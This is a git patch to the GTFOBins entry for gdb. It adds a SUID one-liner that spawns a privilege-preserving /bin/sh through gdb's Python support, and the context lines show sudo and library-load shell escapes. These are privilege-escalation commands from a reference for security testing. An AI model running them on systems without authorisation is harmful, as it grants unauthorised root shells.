From d7d463ee0c61ef22c6588087eb3c3af9486ad658 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Mon, 8 Oct 2018 22:51:52 +0100 Subject: [PATCH] Add missing SUID in gdb --- _gtfobins/gdb.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/_gtfobins/gdb.md b/_gtfobins/gdb.md index 68676d3..df2766e 100644 --- a/_gtfobins/gdb.md +++ b/_gtfobins/gdb.md @@ -47,6 +47,8 @@ functions: library-load: - description: This requires that GDB is compiled with Python support. code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit + suid: + - code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit sudo: - code: sudo gdb -nx -ex '!sh' -ex quit capabilities: